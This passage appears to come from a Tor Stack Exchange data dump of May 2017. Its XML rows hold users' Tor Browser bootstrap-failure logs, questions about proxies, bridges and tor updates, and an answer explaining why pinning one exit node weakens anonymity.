[WARN]  7 connections died in state handshaking (TLS)&#xA;  with SSL state SSLv2/v3 read server hello A in HANDSHAKE  22/05/2017&#xA;  10:55:32.000 [WARN]  5 connections died in state connect()ing with SSL&#xA;  state (No SSL object)  22/05/2017 10:55:32.000 [NOTICE] Delaying&#xA;  directory fetches: DisableNetwork is set.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Second error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor failed to establish a Tor network connection.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Establishing an encrypted directory connection failed (done -&#xA;  123.218.105.112:443).&#xA;  22/05/2017 11:10:35.200 [NOTICE] DisableNetwork is set. Tor will not&#xA;  make or accept non-control network connections. Shutting down all&#xA;  existing connections.  22/05/2017 11:10:35.200 [NOTICE] DisableNetwork&#xA;  is set. Tor will not make or accept non-control network connections.&#xA;  Shutting down all existing connections.  22/05/2017 11:10:35.200&#xA;  [NOTICE] DisableNetwork is set. Tor will not make or accept&#xA;  non-control network connections. Shutting down all existing&#xA;  connections.  22/05/2017 11:10:35.200 [NOTICE] Opening Socks listener&#xA;  on 127.0.0.1:9150  22/05/2017 11:10:35.300 [NOTICE] Bootstrapped 5%:&#xA;  Connecting to directory server  22/05/2017 11:10:35.400 [NOTICE]&#xA;  Bootstrapped 10%: Finishing handshake with directory server &#xA;  22/05/2017 11:11:50.600 [WARN] Problem bootstrapping. Stuck at 10%:&#xA;  Finishing handshake with directory server. (DONE; DONE; count 3;&#xA;  recommendation warn; host 0E099DC76934B1A12FA55F847711241B4C26E18E at&#xA;  123.218.105.112:443)  22/05/2017 11:11:50.600 [WARN] 3 connections have failed:  22/05/2017 11:11:50.600 [WARN]  2 connections died in&#xA;  state connect()ing with SSL state (No SSL object)  22/05/2017&#xA;  11:11:50.600 [WARN]  1 connections died in state handshaking (TLS)&#xA;  with SSL state SSLv2/v3 read server hello A in HANDSHAKE  22/05/2017&#xA;  11:12:09.500 [NOTICE] Closing no-longer-configured Socks listener on&#xA;  127.0.0.1:9150  22/05/2017 11:12:09.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections.&#xA;  Shutting down all existing connections.  22/05/2017 11:12:09.500&#xA;  [NOTICE] Closing old Socks listener on 127.0.0.1:9150&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17575" LastActivityDate="2019-03-13T15:25:15.417" Title="Tor failed to establish a Tor network connection. - Establishing an encrypted directory connection failed" Tags="|help|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14841" PostTypeId="1" CreationDate="2017-05-23T06:51:57.093" Score="0" ViewCount="626" Body="&lt;p&gt;Why the TOP browser does not connect to the network, I have a local proxy server in the building, I enter the address and port in the TOP setting, but the connection does not occur.&lt;/p&gt;&#xA;" OwnerUserId="17586" LastActivityDate="2022-03-29T21:02:45.337" Title="TOR browser and local proxy" Tags="|proxy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14845" PostTypeId="2" ParentId="14841" CreationDate="2017-05-23T22:35:18.993" Score="0" Body="&lt;p&gt;En: Tor browser can be filtered out by your proxy. Use pluggable transports&#xA;RU: ТОР браузер может быть отфильтрован Вашим прокси. Используйте подключаемые транспорты&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-05-23T22:35:18.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14846" PostTypeId="1" CreationDate="2017-05-24T08:19:26.010" Score="1" ViewCount="42" Body="&lt;pre&gt;&lt;code&gt;28/08/38 10:45:16 ص.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:45:16 ص.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:45:16 ص.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:45:16 ص.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;28/08/38 10:45:16 ص.500 [NOTICE] Renaming old configuration file to &quot;C:\Users\dell\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;28/08/38 10:45:16 ص.700 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;28/08/38 10:45:16 ص.900 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;28/08/38 10:48:30 ص.600 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;28/08/38 10:48:30 ص.900 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;28/08/38 10:50:46 ص.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;28/08/38 10:50:46 ص.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:50:46 ص.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;28/08/38 10:50:59 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:50:59 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:50:59 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:50:59 ص.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;28/08/38 10:55:41 ص.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;28/08/38 10:55:41 ص.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:55:41 ص.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;28/08/38 10:55:42 ص.700 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;28/08/38 10:58:39 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:58:39 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:58:39 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:58:39 ص.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;28/08/38 10:59:00 ص.800 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host 4BE52F3FA7271DDA2E497E17C9E334AE0B8E28BE at 82.54.125.179:443) &#xA;28/08/38 10:59:00 ص.800 [WARN] 9 connections have failed: &#xA;28/08/38 10:59:00 ص.800 [WARN]  5 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 10:59:00 ص.800 [WARN]  4 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 10:59:21 ص.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;28/08/38 10:59:21 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 10:59:21 ص.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;28/08/38 10:59:21 ص.100 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 11; recommendation warn; host 38EDA6D79C126F873AC0D74C4970A6781E80E557 at 69.162.169.221:8443) &#xA;28/08/38 10:59:21 ص.100 [WARN] 11 connections have failed: &#xA;28/08/38 10:59:21 ص.100 [WARN]  6 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 10:59:21 ص.100 [WARN]  5 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 10:59:23 ص.800 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 12; recommendation warn; host C36B0EDDAA5209D6D86052F74991B9AB4B68CCFE at 194.132.208.190:32082) &#xA;28/08/38 10:59:23 ص.800 [WARN] 12 connections have failed: &#xA;28/08/38 10:59:23 ص.800 [WARN]  7 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 10:59:23 ص.800 [WARN]  5 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 10:59:23 ص.800 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 13; recommendation warn; host DC5091A560AE02F760792F6B5EC0140B927D5CB5 at 52.53.45.147:8443) &#xA;28/08/38 10:59:23 ص.800 [WARN] 13 connections have failed: &#xA;28/08/38 10:59:23 ص.800 [WARN]  8 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 10:59:23 ص.800 [WARN]  5 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 10:59:23 ص.800 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 14; recommendation warn; host 43ACC9EE7EB2BCECE909377F5C6591E95E1A60BD at 213.127.178.45:8080) &#xA;28/08/38 10:59:23 ص.800 [WARN] 14 connections have failed: &#xA;28/08/38 10:59:23 ص.800 [WARN]  9 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 10:59:23 ص.800 [WARN]  5 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 10:59:23 ص.800 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 15; recommendation warn; host 4146E1DF19573517DA4304D35DBA511DF0B71F18 at 46.22.208.39:443) &#xA;28/08/38 10:59:23 ص.800 [WARN] 15 connections have failed: &#xA;28/08/38 10:59:23 ص.800 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 10:59:23 ص.800 [WARN]  5 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:00:36 ص.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 11:00:36 ص.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 11:00:36 ص.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 11:00:36 ص.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;28/08/38 11:00:57 ص.800 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 16; recommendation warn; host 4BE52F3FA7271DDA2E497E17C9E334AE0B8E28BE at 82.54.125.179:443) &#xA;28/08/38 11:00:57 ص.800 [WARN] 15 connections have failed: &#xA;28/08/38 11:00:57 ص.800 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:00:57 ص.800 [WARN]  5 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:01:04 ص.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;28/08/38 11:01:04 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 11:01:04 ص.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;28/08/38 11:01:04 ص.100 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 17; recommendation warn; host 38EDA6D79C126F873AC0D74C4970A6781E80E557 at 69.162.169.221:8443) &#xA;28/08/38 11:01:04 ص.100 [WARN] 17 connections have failed: &#xA;28/08/38 11:01:04 ص.100 [WARN]  11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:01:04 ص.100 [WARN]  6 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:01:05 ص.800 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 18; recommendation warn; host C36B0EDDAA5209D6D86052F74991B9AB4B68CCFE at 194.132.208.190:32082) &#xA;28/08/38 11:01:05 ص.800 [WARN] 18 connections have failed: &#xA;28/08/38 11:01:05 ص.800 [WARN]  12 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:01:05 ص.800 [WARN]  6 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:01:05 ص.800 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 19; recommendation warn; host DC5091A560AE02F760792F6B5EC0140B927D5CB5 at 52.53.45.147:8443) &#xA;28/08/38 11:01:05 ص.800 [WARN] 19 connections have failed: &#xA;28/08/38 11:01:05 ص.800 [WARN]  13 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:01:05 ص.800 [WARN]  6 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:01:05 ص.800 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 20; recommendation warn; host 43ACC9EE7EB2BCECE909377F5C6591E95E1A60BD at 213.127.178.45:8080) &#xA;28/08/38 11:01:05 ص.800 [WARN] 20 connections have failed: &#xA;28/08/38 11:01:05 ص.800 [WARN]  14 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:01:05 ص.800 [WARN]  6 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:01:05 ص.800 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 21; recommendation warn; host 4146E1DF19573517DA4304D35DBA511DF0B71F18 at 46.22.208.39:443) &#xA;28/08/38 11:01:05 ص.800 [WARN] 21 connections have failed: &#xA;28/08/38 11:01:05 ص.800 [WARN]  15 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:01:05 ص.800 [WARN]  6 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:10:13 ص.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 11:10:13 ص.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 11:10:13 ص.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 11:10:13 ص.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;28/08/38 11:10:34 ص.800 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 22; recommendation warn; host 4BE52F3FA7271DDA2E497E17C9E334AE0B8E28BE at 82.54.125.179:443) &#xA;28/08/38 11:10:34 ص.800 [WARN] 21 connections have failed: &#xA;28/08/38 11:10:34 ص.800 [WARN]  15 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:10:34 ص.800 [WARN]  6 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:10:59 ص.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;28/08/38 11:10:59 ص.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;28/08/38 11:10:59 ص.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;28/08/38 11:10:59 ص.500 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 23; recommendation warn; host 38EDA6D79C126F873AC0D74C4970A6781E80E557 at 69.162.169.221:8443) &#xA;28/08/38 11:10:59 ص.500 [WARN] 23 connections have failed: &#xA;28/08/38 11:10:59 ص.500 [WARN]  16 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:10:59 ص.500 [WARN]  7 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:11:31 ص.600 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 24; recommendation warn; host C36B0EDDAA5209D6D86052F74991B9AB4B68CCFE at 194.132.208.190:32082) &#xA;28/08/38 11:11:31 ص.600 [WARN] 24 connections have failed: &#xA;28/08/38 11:11:31 ص.600 [WARN]  17 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:11:31 ص.600 [WARN]  7 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:11:31 ص.600 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 25; recommendation warn; host DC5091A560AE02F760792F6B5EC0140B927D5CB5 at 52.53.45.147:8443) &#xA;28/08/38 11:11:31 ص.600 [WARN] 25 connections have failed: &#xA;28/08/38 11:11:31 ص.600 [WARN]  18 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:11:31 ص.600 [WARN]  7 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:11:31 ص.600 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 26; recommendation warn; host 43ACC9EE7EB2BCECE909377F5C6591E95E1A60BD at 213.127.178.45:8080) &#xA;28/08/38 11:11:31 ص.600 [WARN] 26 connections have failed: &#xA;28/08/38 11:11:31 ص.600 [WARN]  19 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:11:31 ص.600 [WARN]  7 connections died in state connect()ing with SSL state (No SSL object) &#xA;28/08/38 11:11:31 ص.600 [WARN] Problem bootstrapping. Stuck at 20%: Asking for networkstatus consensus. (DONE; DONE; count 27; recommendation warn; host 4146E1DF19573517DA4304D35DBA511DF0B71F18 at 46.22.208.39:443) &#xA;28/08/38 11:11:31 ص.600 [WARN] 27 connections have failed: &#xA;28/08/38 11:11:31 ص.600 [WARN]  20 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;28/08/38 11:11:31 ص.600 [WARN]  7 connections died in state connect()ing with SSL state (No SSL object) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17601" LastEditorUserId="12737" LastEditDate="2017-05-25T16:32:53.233" LastActivityDate="2017-05-25T16:32:53.233" Title="cant connect Tor failed to establish a Tor network connection. Retrieving network status failed (connection timeout - 82.54.125.179:443)" Tags="|connection|" AnswerCount="0" CommentCount="1" ClosedDate="2017-05-28T21:53:45.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="14851" PostTypeId="1" CreationDate="2017-05-25T19:14:19.330" Score="1" ViewCount="484" Body="&lt;p&gt;I've configured the torrc file to use a specific exitnode with strictexitnode 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know if this compromised my privacy in any way. If I understand it correctly, Tor would still have two different entry and middle nodes, regardless of the exit node setting in the torrc file, which would mean that 99.99999% of the time the entry, middle node and exit node would not be the same and there would be no way to know my real IP address, even to the exit node owner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I have sent personal information with HTTPS services, using that node, but since it was HTTPS, if I understand correctly, the exit nodes owners would not be able to see it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my last question, the receiver of the personal information could see I have used a tor exit node, is that completely legal? if I wasnt doing anything wrong but just using Tor for anonmity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone who answers my questions&lt;/p&gt;&#xA;" OwnerUserId="17619" LastActivityDate="2017-05-25T20:03:34.503" Title="Exitnodes: safe?" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14852" PostTypeId="2" ParentId="14851" CreationDate="2017-05-25T20:03:34.503" Score="2" Body="&lt;p&gt;Yes, this will compromise your privacy and anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be trivial for anyone observing traffic to discover that you're configured to use a single exit node. You're likely to be the only person using that Exit exclusively, which allows them to link all your activity on Tor together, both your activity you intend to be disassocated with your real identity and activity you perform that is linked to your identity could be linked together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Infact your guard may be able figure out which exit you were using, by seeing that you never build circuits through it to a middle relay that is in the same family or /16 as your chosen exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;ExitNodes&lt;/code&gt; is something you shouldn't do. It will always harm your anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, the exit will not be able to see into HTTPS (or any other TLS) connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a lawyer and I don't think anyone can answer questions about legality, it depends on lots of things specific to you and your situation like your local laws and the service providers ToS. Ask a lawyer.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-25T20:03:34.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14853" PostTypeId="1" CreationDate="2017-05-25T20:37:09.683" Score="1" ViewCount="31" Body="&lt;p&gt;I'm currently running system tor, and its version is &lt;code&gt;0.3.1.1-alpha-dev&lt;/code&gt;. Every once in a while it asks me to change it by either downgrading it (to 0.2.x)? which sounds mildly reasonable, or upgrading it to &lt;code&gt;0.3.1.2&lt;/code&gt;, which at the moment of this writing, as far as I can see, doesn't exist.&#xA;Is there a reason for the latter suggestion?&lt;/p&gt;&#xA;" OwnerUserId="866" LastActivityDate="2017-05-25T20:37:09.683" Title="Update system tor" Tags="|update|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14854" PostTypeId="1" AcceptedAnswerId="14864" CreationDate="2017-05-25T20:57:02.397" Score="0" ViewCount="36" Body="&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/PluggableTransports&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor page about pluggable transports&lt;/a&gt; mentions a neat idea about chaining them; there is project to implement it called &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/fog.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;fog&lt;/code&gt;&lt;/a&gt;. As I can see from its gitweb page, the last time anything happened there was about 3 years ago.&#xA;I wonder if anyone knows anything newer about its fate and possible future.&lt;/p&gt;&#xA;" OwnerUserId="866" LastActivityDate="2017-05-27T09:29:08.073" Title="Status update on fog" Tags="|pluggable-transports|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14855" PostTypeId="1" CreationDate="2017-05-25T22:37:55.223" Score="1" ViewCount="117" Body="&lt;p&gt;Good day, Using bridges don't hide using TOR, is it okay?&#xA;If the question is stupid, sorry)&#xA;To check it - whoer helped. &#xA;If it's normal situation, please, advise smth. that can hide it absolutely, thank you.&lt;/p&gt;&#xA;" OwnerUserId="17623" LastActivityDate="2017-05-25T22:37:55.223" Title="Using bridges don't hide using TOR, is it okay?" Tags="|anonymity|bridge|deanonymization|" AnswerCount="0" CommentCount="2" ClosedDate="2017-05-26T12:23:43.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="14856" PostTypeId="1" CreationDate="2017-05-26T01:08:15.480" Score="2" ViewCount="4402" Body="&lt;p&gt;Unfortunately I have been unable to have Tor successfully connect to a website. I notice that the problem seems to be a &quot;general SOCKS server failure,&quot; but unfortunately I have no idea how to resolve it. I've tried using custom bridges from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BridgeDB&lt;/a&gt; but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor version I'm using is Version 6.5.2 (2017-04-19)- OS X Intel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5/26/17, 0:47:52.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/26/17, 0:47:52.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/26/17, 0:47:54.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;5/26/17, 0:47:54.300 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;5/26/17, 0:47:54.600 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;5/26/17, 0:47:54.600 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;5/26/17, 0:47:54.700 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;&#xA;5/26/17, 0:47:54.700 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus&#xA;5/26/17, 0:47:54.800 [NOTICE] new bridge descriptor 'MaBishomarim' (fresh): $A832D176ECD5C7C6B58825AE22FC4C90FA249637~MaBishomarim at 154.35.22.11 &#xA;5/26/17, 0:47:54.800 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;5/26/17, 0:47:54.800 [NOTICE] new bridge descriptor 'Azadi' (fresh): $FE7840FE1E21FE0A0639ED176EDA00A3ECA1E34D~Azadi at 154.35.22.13 &#xA;5/26/17, 0:47:54.900 [NOTICE] new bridge descriptor 'JonbesheSabz' (fresh): $00DC6C4FA49A65BD1472993CF6730D54F11E0DBB~JonbesheSabz at 154.35.22.12 &#xA;5/26/17, 0:47:54.900 [NOTICE] new bridge descriptor 'GreenBelt' (fresh): $C73ADBAC8ADFDBF0FC0F3F4E8091C0107D093716~GreenBelt at 154.35.22.9 &#xA;5/26/17, 0:47:54.900 [NOTICE] new bridge descriptor 'Mosaddegh' (fresh): $8FB9F4319E89E5C6223052AA525A192AFBC85D55~Mosaddegh at 154.35.22.10 &#xA;5/26/17, 0:47:54.900 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;5/26/17, 0:47:54.900 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;5/26/17, 0:47:54.900 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;5/26/17, 0:47:55.000 [NOTICE] new bridge descriptor 'cymrubridge33' (fresh): $0BAC39417268B96B9F514E7F63FA6FBA1A788955~cymrubridge33 at 38.229.33.83 &#xA;5/26/17, 0:47:55.100 [NOTICE] new bridge descriptor 'cymrubridge31' (fresh): $C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4~cymrubridge31 at 38.229.1.78 &#xA;5/26/17, 0:47:55.100 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;5/26/17, 0:47:55.200 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;5/26/17, 0:47:55.200 [NOTICE] new bridge descriptor 'noether' (fresh): $7B126FAB960E5AC6A629C729434FF84FB5074EC2~noether at 192.99.11.54 &#xA;5/26/17, 0:47:55.200 [NOTICE] Bridge 'Lisbeth' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (192.95.36.142:443) based on the configured Bridge address. &#xA;5/26/17, 0:47:55.200 [NOTICE] new bridge descriptor 'Lisbeth' (fresh): $CDF2E852BF539B82BD10E27E9115A31734E378C2~Lisbeth at 192.95.36.142 &#xA;5/26/17, 0:47:55.300 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;5/26/17, 0:47:55.500 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;5/26/17, 0:47:55.500 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;5/26/17, 0:47:55.800 [NOTICE] Bridge 'NX01' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (85.17.30.79:443) based on the configured Bridge address. &#xA;5/26/17, 0:47:55.800 [NOTICE] new bridge descriptor 'NX01' (fresh): $FC259A04A328A07FED1413E9FC6526530D9FD87A~NX01 at 85.17.30.79 &#xA;5/26/17, 0:47:55.900 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;5/26/17, 0:47:55.900 [NOTICE] Bootstrapped 100%: Done &#xA;5/26/17, 0:47:55.900 [NOTICE] new bridge descriptor 'ndnop3' (fresh): $8DFCD8FB3285E855F5A55EDDA35696C743ABFC4E~ndnop3 at 109.105.109.165 &#xA;5/26/17, 0:47:56.000 [NOTICE] new bridge descriptor 'ndnop5' (fresh): $BBB28DF0F201E706BE564EFE690FE9577DD8386D~ndnop5 at 109.105.109.147 &#xA;5/26/17, 0:47:56.900 [NOTICE] New control connection opened from 127.0.0.1. &#xA;5/26/17, 0:47:57.200 [NOTICE] New control connection opened from 127.0.0.1. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17625" LastEditorUserId="16657" LastEditDate="2017-05-26T16:49:58.893" LastActivityDate="2017-05-26T16:49:58.893" Title="&quot;Something Went Wrong! Tor is not working in this browser.&quot; How to Fix?" Tags="|tor-browser-bundle|configuration|tor-install|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
